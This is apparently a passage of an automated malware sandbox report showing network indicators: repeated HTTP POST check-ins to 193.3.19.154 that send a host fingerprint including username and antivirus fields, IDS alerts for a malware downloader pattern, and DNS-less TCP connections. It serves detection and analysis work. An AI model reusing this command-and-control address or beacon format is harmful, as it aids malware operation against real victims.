Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Source: Joe Sandbox View

IP Address: 193.3.19.154 193.3.19.154

Source: Joe Sandbox View

ASN Name: ARNES-NETAcademicandResearchNetworkofSloveniaSI ARNES-NETAcademicandResearchNetworkofSloveniaSI

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49708 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49735 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49704 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49754 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49776 -> 193.3.19.154:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49714 -> 193.3.19.154:80

Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
